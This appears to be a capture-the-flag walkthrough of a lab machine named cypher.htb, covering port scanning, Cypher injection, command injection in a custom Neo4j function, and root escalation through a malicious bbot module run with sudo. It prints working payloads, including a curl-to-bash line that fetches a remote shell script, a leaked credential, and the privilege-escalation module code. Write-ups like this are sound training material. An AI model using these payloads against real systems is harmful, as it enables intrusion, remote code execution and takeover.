Enumeration
Network Scanning
We start by scanning the machine with nmap
.
nmap -sC -sV -v -A -p- -oN nmap.txt 10.10.11.57
Scan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 be68db828e6332455446b7087b3b52b0 (ECDSA)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Summary of Open Ports:
Port | Service | Version |
---|---|---|
22/tcp | SSH | OpenSSH 9.6p1 |
80/tcp | HTTP | nginx 1.24.0 |
HTTP Enumeration
Hostname Resolution
The web server on port 80 issues a redirect to http://cypher.htb/
. To facilitate local name resolution, we add the following entry to /etc/hosts
:
echo "10.10.11.57 cypher.htb" | sudo tee -a /etc/hosts
Website Analysis
Accessing http://cypher.htb
reveals a basic webpage containing a login form:
Login Form Testing
The login form is located at http://cypher.htb/login
:
Using the default payload ' or 1=1
we got the following error:
on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 62 (offset: 61))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '' OR 1=1' return h.value as hash"
^}
This reveals that the backend uses Neo4j and the Cypher query language, with unsanitized user input directly inserted into the query—indicating a Cypher injection vulnerability.
Directory Brute-Forcing with Gobuster
We use gobuster
to enumerate hidden directories:
gobuster dir -u http://cypher.htb -w /usr/share/wordlists/dirb/common.txt -t 100 -r -e -s 200,204,301,302,307,401,403
Results:
We found a /testing
directory:
This directory exposes a file named custom-apoc-extension-1.0-SNAPSHOT.jar
.
Vulnerability Discovery
Custom APOC Extension
Decompiling the jar
file we found the CustomFunctions
class with the getUrlStatusCode
function.
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
url = "https://" + url;
}
String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
Process process = Runtime.getRuntime().exec(command);
...
}
The function getUrlStatusCode
constructs a shell command using unsanitized user input and executes it using Runtime.getRuntime().exec
, making it vulnerable to command injection.
Exploitation
Cypher Injection
Using Cypher injection through the login form and chaining it with the vulnerable custom APOC function, we crafted the following payload to gain Remote Code Execution.
' or 1=1 CALL custom.getUrlStatusCode('http://10.10.14.10:1337/; curl http://10.10.14.10:1337/shell.sh | bash') YIELD statusCode RETURN statusCode as hash //
Shell Obtained:
Local Enumeration
Inspection of /etc/passwd
revealed the following users:
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
Within /home/graphasm
, we found a bbot_preset.yml
file containing credentials:
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
Using these credentials (graphasm:cU4btyib.20xtCMCXkBmerhK
) we can login via SSH.
ssh graphasm@10.10.11.57
Privilege Escalation
Misconfigured Sudo
The graphasm
user has passwordless sudo access to the bbot
script.
$ sudo -l
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
bbot
Script
#!/opt/pipx/venvs/bbot/bin/python
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
The script executes the bbot
Python CLI, which can be extended with custom modules.
Leveraging a Known Exploit
Referencing a public GitHub repository, we just followed the instructions to create a malicious module to escalate privileges.
preset.yml
:
description: System Info Recon Scan
module_dirs:
- .
modules:
- systeminfo_enum
systeminfo_enum.py
:
from bbot.modules.base import BaseModule
import pty
import os
class systeminfo_enum(BaseModule):
watched_events = []
produced_events = []
flags = ["safe", "passive"]
meta = {"description": "System Info Recon (actually spawns root shell)"}
async def setup(self):
self.hugesuccess("📡 systeminfo_enum setup called — launching shell!")
try:
pty.spawn(["/bin/bash", "-p"])
except Exception as e:
self.error(f"❌ Shell failed: {e}")
return True
We can now run the bbot
script with the preset.yml
file and get a root shell.
sudo /usr/local/bin/bbot -t dummy.com -p /home/graphasm/preset.yml --event-types ROOT
Root Shell Acquired:
The root flag is in the /root/root.txt
file.